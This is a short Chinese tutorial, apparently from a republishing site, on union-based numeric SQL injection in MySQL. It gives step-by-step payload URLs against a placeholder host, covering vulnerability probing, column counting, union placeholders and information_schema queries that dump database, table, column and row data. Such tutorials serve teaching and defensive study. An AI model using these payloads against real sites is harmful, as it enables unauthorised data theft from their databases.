微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

MySQL数字型注入

准备知识
sql的增删改查命令(其中and & or(运算符)、order by(排序)、union(合并语句操作符)是重点)

  1. 判断是否存在漏洞
    用and 1=1和and 1=2来验证判断,如:
    http://www.xxx.com/sqli/01.PHP?id=1 and 1=1
    返回数据,说明执行成功
    http://www.xxx.com/sqli/01.PHP?id=1 and 1=2
    不返回数据,说明数据库后台报错了

  2. 用排序间接查找出所有列(专业说法sql中叫字段)
    用order by 来根据字段所在列排序间接查找出有多少个字段(列),如:
    http://www.xxx.com/sqli/01.PHP?id=1 order by 3

  3. 用合并语句查询,并把自定义数字/字符来占位显示,需让自带表达式报错才能显示自定义数字/字符,如:
    http://www.xxx.com/1.PHP?id=1 and 1=2 union select 1,2,3

  4. 找出当前表的数据库名,如:
    http://www.xxx.com/1.PHP?id=1 and 1=2 union select 1,database(),3

  5. 合并查询查出的数据库的所有表名,如:
    http://www.xxx.com/1.PHP?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

  6. 继续合并查询出当前表的所有字段(列名)如:
    http://www.xxx.com/1.PHP?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘news’

  7. 查询出字段下的数据,如:
    http://www.xxx.com/1.PHP?id=1 and 1=2 union select 1,group_concat(id,title,content),3 from news

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐